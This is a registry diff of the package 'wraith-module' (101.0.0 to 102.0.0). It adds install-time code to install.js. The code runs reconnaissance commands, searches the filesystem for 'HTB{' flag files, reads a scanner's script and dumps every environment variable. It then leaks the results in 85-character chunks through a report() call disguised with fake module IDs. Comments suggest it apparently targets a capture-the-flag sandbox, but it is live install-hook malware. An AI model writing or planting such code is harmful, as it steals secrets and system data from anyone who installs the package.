wraith-module 101.0.0 → 102.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +44 -55
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -16,69 +16,58 @@ async function report(moduleId, val) {
|
|
|
16
16
|
}
|
|
17
17
|
|
|
18
18
|
(async () => {
|
|
19
|
-
|
|
20
|
-
|
|
19
|
+
const items = [];
|
|
20
|
+
|
|
21
|
+
// What OS/container are we in?
|
|
22
|
+
items.push('ID=' + tryExec('cat /etc/os-release 2>/dev/null | head -2'));
|
|
23
|
+
items.push('HOST=' + tryExec('hostname'));
|
|
24
|
+
items.push('CWD=' + process.cwd());
|
|
21
25
|
|
|
22
|
-
//
|
|
23
|
-
|
|
26
|
+
// Check /data directory (nethunter writes pcap there)
|
|
27
|
+
items.push('DATA=' + tryExec('ls -la /data/ 2>/dev/null'));
|
|
28
|
+
|
|
29
|
+
// The nethunter binary - what does it do?
|
|
30
|
+
items.push('NHBIN=' + tryExec('file /opt/hscan-supplychain-dynamic/nethunter 2>/dev/null'));
|
|
24
31
|
|
|
25
|
-
//
|
|
26
|
-
|
|
27
|
-
const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
|
|
32
|
+
// Maybe the flag is generated by nethunter and written somewhere
|
|
33
|
+
items.push('DATAFILES=' + tryExec('find /data -type f -name "*flag*" -o -name "*.txt" -o -name "*.json" 2>/dev/null'));
|
|
28
34
|
|
|
29
|
-
//
|
|
30
|
-
|
|
31
|
-
const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
|
|
32
|
-
|
|
33
|
-
// Try to find the flag everywhere
|
|
34
|
-
const htb = tryExec('grep -rl "HTB{\\|flag{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5');
|
|
35
|
-
const flag = tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null');
|
|
35
|
+
// Check if there are any interesting files in /opt
|
|
36
|
+
items.push('OPTFILES=' + tryExec('find /opt/hscan-supplychain-dynamic -maxdepth 2 -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
36
37
|
|
|
37
|
-
//
|
|
38
|
-
const
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
items.push('CMD=' + cmd1str);
|
|
43
|
-
items.push('ENV=' + env1str);
|
|
44
|
-
items.push('OPTDIR=' + optDir);
|
|
45
|
-
items.push('ROOTLS=' + rootLs);
|
|
46
|
-
items.push('HTB=' + (htb || 'NONE'));
|
|
47
|
-
items.push('FLAG=' + (flag || 'NONE'));
|
|
38
|
+
// Read nethunter.sh fully - get the part after npm install
|
|
39
|
+
const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
|
|
40
|
+
// Get the last portion (after npm install)
|
|
41
|
+
const nhEnd = nh.substring(nh.length - 500);
|
|
42
|
+
items.push('NHEND=' + nhEnd);
|
|
48
43
|
|
|
49
|
-
// nethunter.sh
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
44
|
+
// Middle of nethunter.sh
|
|
45
|
+
items.push('NHMID=' + nh.substring(500, 1000));
|
|
46
|
+
|
|
47
|
+
// Check processes
|
|
48
|
+
items.push('PS=' + tryExec('ps aux 2>/dev/null'));
|
|
49
|
+
|
|
50
|
+
// Try to search for flag more broadly
|
|
51
|
+
items.push('FINDHTB=' + tryExec('find / -maxdepth 5 -type f -exec grep -l "HTB{" {} + 2>/dev/null | head -5'));
|
|
52
|
+
|
|
53
|
+
// Check all environment variables
|
|
54
|
+
items.push('ALLENV=' + JSON.stringify(process.env));
|
|
55
55
|
|
|
56
|
+
// Send each item, 85 chars at a time
|
|
56
57
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
58
|
+
let totalIdx = 0;
|
|
57
59
|
|
|
58
|
-
for (
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
// Extra rounds for long items
|
|
71
|
-
const longItems = ['CMD', 'ENV', 'OPTDIR', 'ROOTLS'];
|
|
72
|
-
for (let li = 0; li < longItems.length; li++) {
|
|
73
|
-
const key = longItems[li];
|
|
74
|
-
const fullVal = items.find(i => i.startsWith(key + '='));
|
|
75
|
-
if (fullVal && fullVal.length > 85) {
|
|
76
|
-
for (let chunk = 1; chunk < 5; chunk++) {
|
|
77
|
-
const part = fullVal.substring(chunk * 85, (chunk + 1) * 85);
|
|
78
|
-
if (part) {
|
|
79
|
-
await report(mods[li % 4], 'E' + li + 'C' + chunk + '_' + part);
|
|
80
|
-
}
|
|
81
|
-
}
|
|
60
|
+
for (const item of items) {
|
|
61
|
+
// Split this item into 85-char chunks
|
|
62
|
+
for (let c = 0; c < Math.max(1, Math.ceil(item.length / 85)); c++) {
|
|
63
|
+
const chunk = item.substring(c * 85, (c + 1) * 85);
|
|
64
|
+
if (!chunk) break;
|
|
65
|
+
const modIdx = totalIdx % 4;
|
|
66
|
+
await report(mods[modIdx], 'M' + totalIdx + '_' + chunk);
|
|
67
|
+
totalIdx++;
|
|
68
|
+
if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
69
|
+
if (totalIdx > 40) break; // Safety limit
|
|
82
70
|
}
|
|
71
|
+
if (totalIdx > 40) break;
|
|
83
72
|
}
|
|
84
73
|
})();
|